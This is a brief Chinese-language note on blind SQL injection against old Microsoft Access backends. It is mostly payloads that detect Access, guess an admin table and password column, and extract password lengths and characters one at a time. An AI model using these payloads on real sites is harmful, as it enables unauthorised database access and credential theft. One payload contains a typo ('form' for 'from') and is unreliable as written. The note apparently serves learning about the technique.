前言

老古董数据库了，基本上遇不到，但是不排除有些很老很老的服务器还在用，所以简单记录一下吧...

[!NOTE]

基本上可以不用看，因为看了99%也遇不到，而且很鸡肋

判断是否为access数据库

and (select count(*) from msysobjects)>0

获取数据

access中的一切都要靠猜，没有那种方便的可以直接获取数据库名、表名、列名的地方或者函数（补充一下：access没有数据库名，只有表和列）

猜解表名

此处已admin为例

-- 页面返回正常则说明存在 admin 这个表
and exists(select * form admin)

猜解列名

此处已password为例

-- 页面返回正常则说明存在password这个列
and exists(select password from admin)

猜解字段长度

and (select top 1 len (password) from admin)>1
and (select top 1 len (password) from admin)>10

猜解字段内容

and (select top 1 asc(mid(password,1,1)) from admin)>97
and (select top 1 asc(mid(password,2,1)) from admin)>97